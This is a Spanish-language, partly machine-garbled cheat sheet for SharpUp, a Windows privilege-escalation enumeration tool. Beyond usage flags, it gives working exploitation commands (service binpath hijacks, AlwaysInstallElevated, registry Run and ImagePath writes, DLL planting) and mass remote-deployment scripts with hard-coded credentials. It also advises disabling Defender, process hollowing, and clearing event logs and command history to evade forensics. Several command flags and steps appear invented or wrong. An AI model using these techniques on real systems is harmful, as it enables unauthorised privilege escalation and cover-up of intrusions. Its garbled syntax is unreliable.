SharpUp Cheat Sheet
"Clase de la hoja" id="copy-btn" class="copy-btn" onclick="copyAllCommands()" Copiar todos los comandos id="pdf-btn" class="pdf-btn" onclick="generatePDF()" Generar PDF seleccionado/button ■/div titulada
Sinopsis
SharpUp es un puerto C# del popular script PowerUp de enumeración de privilegios, diseñado para identificar vectores de escalada de privilegios comunes de Windows a través del análisis integral del sistema. Desarrollado como parte del kit de herramientas de GhostPack por harmj0y y otros investigadores de seguridad, SharpUp proporciona testers de penetración y operadores de equipo rojo con una poderosa herramienta para descubrir malconfiguraciones y vulnerabilidades que podrían conducir a la escalada de privilegios locales en los sistemas de Windows. La herramienta representa un enfoque moderno de la enumeración de la escalada de privilegios, aprovechando el . Marco NET para mejorar el sigilo y la compatibilidad.
La principal ventaja de SharpUp sobre su predecesor PowerShell radica en su naturaleza compilada, lo que hace menos susceptible a los mecanismos de detección basados en PowerShell y las políticas de ejecución de scripts. Como ejecutable independiente, SharpUp puede ser fácilmente implementado y ejecutado en entornos donde la ejecución de PowerShell está restringida o fuertemente monitoreada. La herramienta realiza cheques extensos en varias categorías, incluyendo misconfiguraciones de servicio, vulnerabilidades de registro, permisos de sistema de archivos, y varias técnicas de escalada de privilegios específicas de Windows.
SharpUp opera examinando sistemáticamente el sistema de objetivos para los vectores de escalada de privilegios comunes, incluidas las rutas de servicio no citadas, los permisos de servicio débiles, los autoruns del registro, las oportunidades de secuestro de DLL, y varias otras configuraciones erróneas que podrían explotarse para obtener privilegios elevados. La herramienta proporciona una producción detallada que ayuda a los profesionales de seguridad a entender no sólo qué vulnerabilidades existen, sino también cómo pueden ser explotados, lo que lo convierte en un activo invaluable tanto para operaciones de seguridad ofensivas como defensivas.
Instalación
Descargar
Descargar pre-compilado Sharp Arriba los binarios:
# Download from GitHub releases
wget https://github.com/GhostPack/SharpUp/releases/latest/download/SharpUp.exe
# Download specific version
wget https://github.com/GhostPack/SharpUp/releases/download/v1.1.0/SharpUp.exe
# Verify file integrity
sha256sum SharpUp.exe
# Make executable (if needed)
chmod +x SharpUp.exe
Compilación de fuentes
Sharp compilado Arriba de la fuente:
# Clone repository
git clone https://github.com/GhostPack/SharpUp.git
cd SharpUp
# Compile with Visual Studio
msbuild SharpUp.sln /p:Configuration=Release
# Compile with .NET CLI
dotnet build -c Release
# Cross-compile for different architectures
dotnet publish -c Release -r win-x64 --self-contained
dotnet publish -c Release -r win-x86 --self-contained
Docker Build Environment
# Create Docker build environment
cat > Dockerfile << 'EOF'
FROM mcr.microsoft.com/dotnet/sdk:6.0
WORKDIR /app
COPY . .
RUN dotnet build -c Release
EOF
# Build container
docker build -t sharpup-builder .
# Extract compiled binary
docker run --rm -v $(pwd):/output sharpup-builder cp /app/bin/Release/net6.0/SharpUp.exe /output/
Uso básico
Enumeración estándar
Ejecutando la enumeración básica de SharpUp:
# Run all checks
SharpUp.exe
# Run with verbose output
SharpUp.exe -v
# Run specific check categories
SharpUp.exe -c Services
# Run multiple categories
SharpUp.exe -c Services,Registry
# Save output to file
SharpUp.exe > privilege_escalation_report.txt
Comprobaciones dirigidas
Ejecutando controles específicos de escalada de privilegios:
# Check service permissions
SharpUp.exe -c Services
# Check registry autoruns
SharpUp.exe -c Registry
# Check file permissions
SharpUp.exe -c Files
# Check scheduled tasks
SharpUp.exe -c Tasks
# Check installed software
SharpUp.exe -c Software
Formato de salida
Controlar Sharp Formato de salida:
# JSON output format
SharpUp.exe -f json
# XML output format
SharpUp.exe -f xml
# CSV output format
SharpUp.exe -f csv
# Detailed text output
SharpUp.exe -f detailed
# Quiet mode (minimal output)
SharpUp.exe -q
Características avanzadas
Service Enumeration
Comprobaciones generales de aumento del privilegio de servicio:
# Check unquoted service paths
SharpUp.exe -c Services -t UnquotedPaths
# Check weak service permissions
SharpUp.exe -c Services -t WeakPermissions
# Check service binary permissions
SharpUp.exe -c Services -t BinaryPermissions
# Check service registry permissions
SharpUp.exe -c Services -t RegistryPermissions
# Check all service vulnerabilities
SharpUp.exe -c Services -t All
Análisis del registro
enumeración de la escalada de privilegios basada en la Secretaría:
# Check autorun entries
SharpUp.exe -c Registry -t Autoruns
# Check registry permissions
SharpUp.exe -c Registry -t Permissions
# Check AlwaysInstallElevated
SharpUp.exe -c Registry -t AlwaysInstallElevated
# Check registry hijacking opportunities
SharpUp.exe -c Registry -t Hijacking
# Check all registry vulnerabilities
SharpUp.exe -c Registry -t All
Controles del sistema de archivos
enumeración del privilegio del sistema de archivos:
# Check writable directories in PATH
SharpUp.exe -c Files -t WritablePath
# Check DLL hijacking opportunities
SharpUp.exe -c Files -t DLLHijacking
# Check file permissions
SharpUp.exe -c Files -t Permissions
# Check backup files
SharpUp.exe -c Files -t Backups
# Check configuration files
SharpUp.exe -c Files -t ConfigFiles
Programado Análisis de tareas
Comprobaciones de aumento de privilegios de tareas programadas:
# Check scheduled task permissions
SharpUp.exe -c Tasks -t Permissions
# Check task binary permissions
SharpUp.exe -c Tasks -t BinaryPermissions
# Check task arguments
SharpUp.exe -c Tasks -t Arguments
# Check task triggers
SharpUp.exe -c Tasks -t Triggers
# Check all task vulnerabilities
SharpUp.exe -c Tasks -t All
Técnicas de explotación
Gastos de servicio
Explotación de vulnerabilidades basadas en servicios:
# Exploit unquoted service path
sc stop "Vulnerable Service"
copy malicious.exe "C:\Program Files\Vulnerable Path\Program.exe"
sc start "Vulnerable Service"
# Exploit weak service permissions
sc config "Vulnerable Service" binpath= "C:\temp\malicious.exe"
sc start "Vulnerable Service"
# Exploit service binary permissions
copy malicious.exe "C:\Program Files\Service\service.exe"
sc start "Vulnerable Service"
Explotación del registro
Explotación de vulnerabilidades basadas en el registro:
# Exploit AlwaysInstallElevated
msiexec /quiet /qn /i malicious.msi
# Exploit autorun registry entry
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Malicious" /t REG_SZ /d "C:\temp\malicious.exe"
# Exploit registry permissions
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v "ImagePath" /t REG_EXPAND_SZ /d "C:\temp\malicious.exe"
DLL Hijacking
Explorando las oportunidades de secuestro de DLL:
# Create malicious DLL
# Compile DLL with appropriate exports
gcc -shared -o malicious.dll malicious.c
# Place DLL in hijackable location
copy malicious.dll "C:\Program Files\Application\vulnerable.dll"
# Trigger application execution
"C:\Program Files\Application\app.exe"
Scripts de automatización
Enumeración automatizada
#!/bin/bash
# SharpUp automated enumeration script
TARGET_HOST="192.168.1.100"
USERNAME="user"
PASSWORD="password"
echo "Starting SharpUp enumeration on $TARGET_HOST"
# Copy SharpUp to target
smbclient //$TARGET_HOST/C$ -U $USERNAME%$PASSWORD -c "put SharpUp.exe temp\SharpUp.exe"
# Execute SharpUp remotely
winexe -U $USERNAME%$PASSWORD //$TARGET_HOST "C:\temp\SharpUp.exe -f json > C:\temp\sharpup_results.json"
# Retrieve results
smbclient //$TARGET_HOST/C$ -U $USERNAME%$PASSWORD -c "get temp\sharpup_results.json sharpup_results_$TARGET_HOST.json"
# Clean up
smbclient //$TARGET_HOST/C$ -U $USERNAME%$PASSWORD -c "del temp\SharpUp.exe; del temp\sharpup_results.json"
echo "Enumeration completed for $TARGET_HOST"
Análisis de resultados
#!/usr/bin/env python3
# SharpUp result analysis script
import json
import sys
def analyze_sharpup_results(json_file):
"""Analyze SharpUp JSON results"""
with open(json_file, 'r') as f:
results = json.load(f)
vulnerabilities = []
# Analyze service vulnerabilities
if 'Services' in results:
for service in results['Services']:
if service.get('Vulnerable', False):
vulnerabilities.append(\\\\{
'type': 'Service',
'name': service['Name'],
'issue': service['Issue'],
'severity': service.get('Severity', 'Medium')
\\\\})
# Analyze registry vulnerabilities
if 'Registry' in results:
for reg_entry in results['Registry']:
if reg_entry.get('Vulnerable', False):
vulnerabilities.append(\\\\{
'type': 'Registry',
'path': reg_entry['Path'],
'issue': reg_entry['Issue'],
'severity': reg_entry.get('Severity', 'Medium')
\\\\})
# Sort by severity
severity_order = \\\\{'Critical': 0, 'High': 1, 'Medium': 2, 'Low': 3\\\\}
vulnerabilities.sort(key=lambda x: severity_order.get(x['severity'], 4))
# Generate report
print("SharpUp Vulnerability Analysis Report")
print("=" * 50)
for vuln in vulnerabilities:
print(f"Type: \\\\{vuln['type']\\\\}")
print(f"Severity: \\\\{vuln['severity']\\\\}")
print(f"Issue: \\\\{vuln['issue']\\\\}")
if 'name' in vuln:
print(f"Service: \\\\{vuln['name']\\\\}")
if 'path' in vuln:
print(f"Path: \\\\{vuln['path']\\\\}")
print("-" * 30)
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 analyze_results.py <sharpup_results.json>")
sys.exit(1)
analyze_sharpup_results(sys.argv[1])
Enumeración masiva
#!/usr/bin/env python3
# SharpUp mass enumeration script
import subprocess
import threading
import json
import time
class SharpUpScanner:
def __init__(self, targets_file, username, password):
self.targets = self.load_targets(targets_file)
self.username = username
self.password = password
self.results = \\\\{\\\\}
def load_targets(self, targets_file):
"""Load target hosts from file"""
with open(targets_file, 'r') as f:
return [line.strip() for line in f if line.strip()]
def scan_target(self, target):
"""Scan individual target with SharpUp"""
try:
print(f"Scanning \\\\{target\\\\}...")
# Copy SharpUp to target
copy_cmd = f"smbclient //\\\\{target\\\\}/C$ -U \\\\{self.username\\\\}%\\\\{self.password\\\\} -c 'put SharpUp.exe temp\\SharpUp.exe'"
subprocess.run(copy_cmd, shell=True, capture_output=True)
# Execute SharpUp
exec_cmd = f"winexe -U \\\\{self.username\\\\}%\\\\{self.password\\\\} //\\\\{target\\\\} 'C:\\temp\\SharpUp.exe -f json'"
result = subprocess.run(exec_cmd, shell=True, capture_output=True, text=True)
if result.returncode == 0:
self.results[target] = json.loads(result.stdout)
print(f"Successfully scanned \\\\{target\\\\}")
else:
print(f"Failed to scan \\\\{target\\\\}: \\\\{result.stderr\\\\}")
# Cleanup
cleanup_cmd = f"smbclient //\\\\{target\\\\}/C$ -U \\\\{self.username\\\\}%\\\\{self.password\\\\} -c 'del temp\\SharpUp.exe'"
subprocess.run(cleanup_cmd, shell=True, capture_output=True)
except Exception as e:
print(f"Error scanning \\\\{target\\\\}: \\\\{e\\\\}")
def run_scan(self, max_threads=10):
"""Run scan against all targets"""
threads = []
for target in self.targets:
if len(threads) >= max_threads:
# Wait for threads to complete
for t in threads:
t.join()
threads = []
thread = threading.Thread(target=self.scan_target, args=(target,))
thread.start()
threads.append(thread)
time.sleep(1) # Avoid overwhelming targets
# Wait for remaining threads
for t in threads:
t.join()
return self.results
# Usage
if __name__ == "__main__":
scanner = SharpUpScanner("targets.txt", "admin", "password123")
results = scanner.run_scan()
# Save results
with open("mass_sharpup_results.json", "w") as f:
json.dump(results, f, indent=2)
print(f"Scan completed. Results saved for \\\\{len(results)\\\\} targets.")
Ejemplos de integración
Integración Metasploit
# Metasploit post-exploitation module for SharpUp
require 'msf/core'
require 'rex'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::File
def initialize(info = \\\\{\\\\})
super(update_info(info,
'Name' => 'Windows SharpUp Privilege Escalation Enumeration',
'Description' => 'Runs SharpUp to enumerate privilege escalation vectors',
'License' => MSF_LICENSE,
'Author' => ['Your Name'],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter']
))
end
def run
print_status("Running SharpUp enumeration...")
# Upload SharpUp
sharpup_path = "#\\\\{session.fs.file.expand_path("%TEMP%")\\\\}\\SharpUp.exe"
upload_file(sharpup_path, File.join(Msf::Config.data_directory, "exploits", "SharpUp.exe"))
# Execute SharpUp
output = cmd_exec("#\\\\{sharpup_path\\\\} -f json")
# Parse and display results
begin
results = JSON.parse(output)
print_good("SharpUp enumeration completed")
# Process results
if results['Services']
print_status("Service vulnerabilities found:")
results['Services'].each do|service|
if service['Vulnerable']
print_good(" #\\\\{service['Name']\\\\}: #\\\\{service['Issue']\\\\}")
end
end
end
rescue JSON::ParserError
print_error("Failed to parse SharpUp output")
end
# Cleanup
file_rm(sharpup_path)
end
end
PowerShell Integration
# PowerShell wrapper for SharpUp
function Invoke-SharpUpEnum \\\\{
param(
[string]$SharpUpPath = ".\SharpUp.exe",
[string]$OutputFormat = "json",
[string]$Categories = "All",
[switch]$Verbose
)
Write-Host "[+] Starting SharpUp enumeration" -ForegroundColor Green
# Build command arguments
$arguments = @()
if ($Categories -ne "All") \\\\{
$arguments += "-c", $Categories
\\\\}
if ($OutputFormat) \\\\{
$arguments += "-f", $OutputFormat
\\\\}
if ($Verbose) \\\\{
$arguments += "-v"
\\\\}
try \\\\{
# Execute SharpUp
$result = & $SharpUpPath @arguments 2>&1
if ($LASTEXITCODE -eq 0) \\\\{
Write-Host "[+] SharpUp completed successfully" -ForegroundColor Green
if ($OutputFormat -eq "json") \\\\{
$jsonResult = $result|ConvertFrom-Json
return $jsonResult
\\\\} else \\\\{
return $result
\\\\}
\\\\} else \\\\{
Write-Host "[-] SharpUp failed with exit code: $LASTEXITCODE" -ForegroundColor Red
Write-Host $result -ForegroundColor Red
\\\\}
\\\\}
catch \\\\{
Write-Host "[-] Error executing SharpUp: $($_.Exception.Message)" -ForegroundColor Red
\\\\}
\\\\}
# Usage examples
$results = Invoke-SharpUpEnum -Verbose
$serviceVulns = Invoke-SharpUpEnum -Categories "Services" -OutputFormat "json"
Solución de problemas
Cuestiones comunes
Restricciones de la política de ejecución:
# Check execution policy
powershell Get-ExecutionPolicy
# Bypass execution policy
powershell -ExecutionPolicy Bypass -File script.ps1
# Use alternative execution methods
rundll32.exe shell32.dll,ShellExec_RunDLL SharpUp.exe
** Cuestiones relativas a las misiones**
# Check current privileges
whoami /priv
# Run as different user
runas /user:domain\user SharpUp.exe
# Use PsExec for remote execution
psexec \\target -u user -p password SharpUp.exe
Detección de antivirus:
# Check Windows Defender status
powershell Get-MpComputerStatus
# Disable real-time protection (if authorized)
powershell Set-MpPreference -DisableRealtimeMonitoring $true
# Use obfuscation techniques
# Recompile with different signatures
# Use process hollowing or injection
Debugging
Permite depuración detallada:
# Run with verbose output
SharpUp.exe -v
# Capture detailed logs
SharpUp.exe -v > debug.log 2>&1
# Use Process Monitor to track file/registry access
procmon.exe
# Use Sysmon for detailed logging
sysmon -i sysmonconfig.xml
Consideraciones de seguridad
Seguridad operacional
Evitación de la detección: - Use nombres de archivo de aspecto legítimo - Ejecutar durante horas de trabajo - Evitar nombres de procesos sospechosos - Limpiar artefactos después de la ejecución - Monitor para respuestas defensivas
** Manejo de artefactos: # - Eliminación segura de los binarios - Registros de eventos claros si es posible - Eliminar archivos temporales - Historial de comandos claro - Monitor for forensic analysis
Consideraciones jurídicas y éticas
Authorized Testing Only: - Obtener la autorización escrita adecuada - Definir el alcance y las limitaciones claras - Documentar todas las actividades - Seguir la divulgación responsable - Respeto de la integridad del sistema
Las mejores prácticas: - Uso en entornos controlados - Evaluaciones periódicas de seguridad - Implementar medidas de rehabilitación - Monitor para uso no autorizado - Mantener las rutas de auditoría